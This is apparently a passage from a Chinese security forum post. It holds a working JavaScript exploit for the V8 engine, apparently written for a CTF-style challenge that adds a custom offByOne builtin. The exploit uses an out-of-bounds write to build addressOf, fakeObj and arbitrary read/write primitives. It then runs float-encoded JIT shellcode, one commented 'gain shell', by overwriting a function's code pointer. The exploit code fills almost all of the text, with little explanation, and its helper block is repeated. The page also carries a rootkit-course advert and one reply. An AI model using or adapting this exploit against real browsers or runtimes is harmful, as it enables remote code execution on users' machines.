 - properties: 0x1f99000f315d <PropertyArray[3]>
 - All own properties (excluding elements): {
    0x1f99001d351d: [String] in OldSpace: #in_object1: 1 (const data field 0, attrs: [WEC]) @ Any, location: in-object
    0x1f99001d3535: [String] in OldSpace: #out_object1: 2 (const data field 1, attrs: [WEC]) @ Any, location: properties[0]
    0x1f99001d354d: [String] in OldSpace: #out_object2: 3 (const data field 2, attrs: [WEC]) @ Any, location: properties[1]
 }
0x1f99001d417d: [Map] in OldSpace
 - map: 0x1f99001c01b5 <MetaMap (0x1f99001c0205 <NativeContext[295]>)>
 - type: JS_OBJECT_TYPE
 - instance size: 16
 - inobject properties: 1
 - unused property fields: 1
 - elements kind: HOLEY_ELEMENTS
 - enum length: invalid
 - stable_map
 - back pointer: 0x1f99001d414d <Map[16](HOLEY_ELEMENTS)>
 - prototype_validity cell: 0x1f99001d4175 <Cell value= 0>
 - instance descriptors (own) #3: 0x1f99000f3171 <DescriptorArray[3]>
 - prototype: 0x1f99001c10ed <Object map = 0x1f99001c0701>
 - constructor: 0x1f99001c0c15 <JSFunction Object (sfi = 0x1f990002aa51)>
 - dependent code: 0x1f9900000735 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
 - construction counter: 0
var buf = new ArrayBuffer(8);
var f32 = new Float32Array(buf);
var f64 = new Float64Array(buf);
var u32 = new Uint32Array(buf);
var u64 = new BigUint64Array(buf);
 
function lh_u32_to_f64(l,h){
    u32[0] = l;
    u32[1] = h;
    return f64[0];
}
 
function f64_to_u64(val){
    f64[0] = val;
    return u64[0];
}
 
function u64_to_f64(val){
    u64[0] = val;
    return f64[0];
}
 
function u64_to_u32_lo(val){
    u64[0] = val;
    return u32[0];
}
 
function u64_to_u32_hi(val){
    u64[0] = val;
    return u32[1];
}
 
function u32_to_f32(val){
    u32[0] = val;
    return f32[0];
}
 
 
// function stop(){
//     %SystemBreak();
// }
 
// function p(arg){
//     %DebugPrint(arg);
// }
 
function spin(){
    while(1){};
}
 
function hex(str){
    return str.toString(16).padStart(16,0);
}
 
function logg(str,val){
    console.log("[+] "+ str + ": " + "0x" + hex(val));
}
 
// // gain shell
// const shellcode = () => {return [
//     1.9553825422107533e-246,
//     1.9560612558242147e-246,
//     1.9995714719542577e-246,
//     1.9533767332674093e-246,
//     2.6348604765229606e-284
// ];}
 
const shellcode = () => {return [
    1.9710255944286777e-246,
    1.971136949489835e-246,
    1.97118242283721e-246,
    1.9711826272864685e-246,
    1.9712937950614383e-246,
    -1.6956275879669133e-231
];}
 
for(let i = 0; i< 10000; i++){
    shellcode();
}
 
function getOffByOne(target){
    return f64_to_u64(target.offByOne());
}
function setOffByOne(target, val){
    target.offByOne(Number((val)));
}
 
 
var oob_array = [1.1];
var obj = {in_obj:1};
obj.a = 2;
var b = [2.2];
 
// p(oob_array);
// p(obj);
// p(b);
 
obj_map_addr = u64_to_u32_lo(getOffByOne(oob_array)); //map, properties
obj_properties_addr = u64_to_u32_hi(getOffByOne(oob_array));
elements_addr_of_a = obj_properties_addr - 0x64;
logg("obj_map_addr", obj_map_addr);
logg("obj_properties_addr", obj_properties_addr);
logg("elements_addr_of_a", elements_addr_of_a);
 
setOffByOne(oob_array, lh_u32_to_f64(obj_map_addr,elements_addr_of_a-4));
obj.a = 0x1000;
setOffByOne(oob_array, lh_u32_to_f64(obj_map_addr,elements_addr_of_a-4-0x10));
obj.a = 0x1000;
// console.log(oob_array.length);
 
let temp = f64_to_u64(oob_array[0x10]);
logg("tmp",temp);
 
double_array_map = u64_to_u32_lo(temp); //map, properties
double_properties_addr = u64_to_u32_hi(temp);
logg("double_array_map", double_array_map);
logg("double_properties_addr", double_properties_addr);
 
 
 
// // 修改了oob_array的elements length
 
function addressOf(object){
    oob_array[0x10] = lh_u32_to_f64(obj_map_addr,0);
    b[0] = object;
    oob_array[0x10] = lh_u32_to_f64(double_array_map,0);
    return f64_to_u64(b[0]);
}
 
 
 
function fakeObj(addr){
    oob_array[0x10] = lh_u32_to_f64(double_array_map,0);
    b[0] = lh_u32_to_f64(addr,0);
    oob_array[0x10] = lh_u32_to_f64(obj_map_addr,0);
    return b[0];
}
 
var fake_array = [
    lh_u32_to_f64(double_array_map,0),
    lh_u32_to_f64(0,0x1000)
];
 
var fake_array_addr = u64_to_u32_lo(addressOf(fake_array));
var fake_obj = fakeObj(fake_array_addr+0x54);
 
// p(fake_array);
logg("fake_array_addr",fake_array_addr);
 
function AAR(addr){
    fake_array[1] = lh_u32_to_f64(addr-8,0x1000);
    return f64_to_u64(fake_obj[0]);
}
 
function AAW(addr,val){
    logg("addr",addr);
    logg("val",val);
    fake_array[1] = lh_u32_to_f64(addr-8,0x1000);
    // stop();
    fake_obj[0] = u64_to_f64(val);
}
 
// p(shellcode);
var shellcode_addr = u64_to_u32_lo(addressOf(shellcode));
var code_addr = u64_to_u32_lo(AAR(shellcode_addr+0xc));
var ins_base = AAR((code_addr)+0x14);
 
logg("shellcode_addr",shellcode_addr);
logg("code_addr",code_addr);
logg("ins_base",ins_base);
 
AAW(code_addr+0x14,(BigInt(ins_base)+0x6bn));
 
// stop();
shellcode();
 
// spin();
var buf = new ArrayBuffer(8);
var f32 = new Float32Array(buf);
var f64 = new Float64Array(buf);
var u32 = new Uint32Array(buf);
var u64 = new BigUint64Array(buf);
 
function lh_u32_to_f64(l,h){
    u32[0] = l;
    u32[1] = h;
    return f64[0];
}
 
function f64_to_u64(val){
    f64[0] = val;
    return u64[0];
}
 
function u64_to_f64(val){
    u64[0] = val;
    return f64[0];
}
 
function u64_to_u32_lo(val){
    u64[0] = val;
    return u32[0];
}
 
function u64_to_u32_hi(val){
    u64[0] = val;
    return u32[1];
}
 
function u32_to_f32(val){
    u32[0] = val;
    return f32[0];
}
 
 
// function stop(){
//     %SystemBreak();
// }
 
// function p(arg){
//     %DebugPrint(arg);
// }
 
function spin(){
    while(1){};
}

[培训]Windows内核深度攻防:从Hook技术到Rootkit实战!

收藏
免费 2
支持
分享
最新回复 (1)
雪    币: 2561
活跃值: (10620)
能力值: (RANK:438 )
在线值:
发帖
回帖
粉丝
2
感谢师傅分享,期待看到更多V8类的进阶文章~
2025-7-4 15:32
1
游客
登录 | 注册 方可回帖
返回